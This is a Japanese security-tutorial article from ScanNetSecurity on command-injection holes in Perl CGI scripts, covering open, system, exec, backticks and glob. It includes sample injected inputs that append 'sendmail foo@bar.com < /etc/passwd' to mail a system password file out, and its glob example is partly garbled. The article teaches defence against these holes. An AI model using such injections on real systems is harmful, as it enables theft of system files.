【Webアプリケーションのセキュリティ 7】〜 cgiのセキュリティホール 〜 | ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト]
2017.11.24(金)

【Webアプリケーションのセキュリティ 7】〜 cgiのセキュリティホール 〜

特集 特集

 前回Perlを用いたcgiプログラミングについて、セキュリティホールとなる実装ミスについて実例をあげて、その危険性と、セキュリティホールとならないよう必要なコーディングについて説明した。今回はcgiのどのような部分が、外部からのOSコマンド実行を許してしまう脆弱点となるかについて解説する。

 Perlによるcgiプログラミングについては前回既に述べているが、危険な関数についてもう一度整理してみると次のようなものがある[1]。

 外部からの任意のコマンド入力を許してしまう脆弱点となりやすい典型的な関数はopen 文である。open 関数は、ヌル文字やパイプ文字で汚染された文字列の入力に対する脆弱性を塞がなければならない。またopenされるべきファイルとして指定可能な範囲に注意しなければならない。../ といったディレクトリトラバーサルが可能な場合には、機密にすべき重要ファイルをOpenされてしまうことがある。open 関数の代わりにsysopen 関数を使った場合には、このような実装ミスの危険はなくなる。

 open関数と同様に外部からのOSコマンドインジェクションの危険性がある関数にはsystem関数、exec関数がある。また `` によるbackticks構文も同様の危険性がある。例えば

 system("date | sendmail $mailaddr");

と実装された、dateコマンドの出力結果を入力されたメールアドレスにメールするというプログラムに対して、$mailaddrに foo@bar.com; sendmail foo@bar.com < /etc/passwd という内容を代入されてしまった場合、

 system("date | sendmail foo@bar.com; sendmail foo@bar.com < /etc/passwd");

となり、パスワードファイル /etc/passwd/ を指定されたアドレスに送信させられてしまう。

 glob 関数は内部的にシェル関数を呼び出しているためにOSコマンドインジェクションの危険性がある。また<>によるfileglob構文は内部的に glob 関数を呼び出して用いているため、同様の危険性がある。例えば、

 @files = ;

という、/usr/include ディレクトリ下について指定されたファイル検索をするプログラムに対して、net*.h; sendmail foo@bar.com < /etc/passwd という文字列を検索ワードとして代入されてしまった場合、

 @files = foo@bar.com < /etc/passwd>;

となって、やはり/etc/passwd/ を指定されたアドレスに送信させられてしまう。

office
office@ukky.net
http://www.office.ac/

[1] http://www.ipa.go.jp/security/awareness/vendor/programming/a04_01.html

(詳しくはScan本誌をご覧ください)
http://shop.vagabond.co.jp/m-ssw01.shtml
《ScanNetSecurity》

Scan PREMIUM 会員限定記事

もっと見る

Scan PREMIUM 会員限定記事特集をもっと見る

Scan BASIC 会員限定記事

もっと見る

Scan BASIC 会員限定記事特集をもっと見る

[Web小説] サイバー探偵 工藤伸治の事件簿サーガ (シーズン 1~6 第1話)

もっと見る

[Web小説] サイバー探偵 工藤伸治の事件簿サーガ (シーズン 1~6 第1話)特集をもっと見る

カテゴリ別新着記事

特集 カテゴリの人気記事 MONTHLY ランキング

  1. ここが変だよ日本のセキュリティ 第30回「ダメンズ・オーディット! 上場企業なら避けて通れない監査対応に監査感激!」

    ここが変だよ日本のセキュリティ 第30回「ダメンズ・オーディット! 上場企業なら避けて通れない監査対応に監査感激!」

  2. グローバルで活躍するプロフェッショナル - EYのサイバーセキュリティ部隊に仕事とキャリアを聞く

    グローバルで活躍するプロフェッショナル - EYのサイバーセキュリティ部隊に仕事とキャリアを聞く

  3. クラウドセキュリティ認証「ISO 27017」「ISO 27018」の違いとは? ~クラウドのよさを活かす認証コンサル LRM 社 幸松 哲也 社長に聞く

    クラウドセキュリティ認証「ISO 27017」「ISO 27018」の違いとは? ~クラウドのよさを活かす認証コンサル LRM 社 幸松 哲也 社長に聞く

  4. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第8回 「はした金」

  5. [対談] 人工知能は重要経営課題となったサイバーリスクに対抗できるか

  6. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第9回「勤怠簿」

  7. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第10回「面会依頼」

  8. マンガで実感 !! サイバーセキュリティ 第1話「静かなる目撃者」

  9. 工藤伸治のセキュリティ事件簿 シーズン6 「誤算」 第1回「プロローグ:七月十日 夕方 犯人」

  10. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第1回 「プロローグ:身代金再び」

全カテゴリランキング

★★Scan PREMIUM 会員限定コンテンツにフルアクセスが可能となります★★
<b>★★Scan PREMIUM 会員限定コンテンツにフルアクセスが可能となります★★</b>

経営課題としてサイバーセキュリティに取り組む情報システム部門や、研究・開発・経営企画に携わる方へ向けた、創刊19年のセキュリティ情報サービス Scan PREMIUM を、貴社の事業リスク低減のためにご活用ください。

×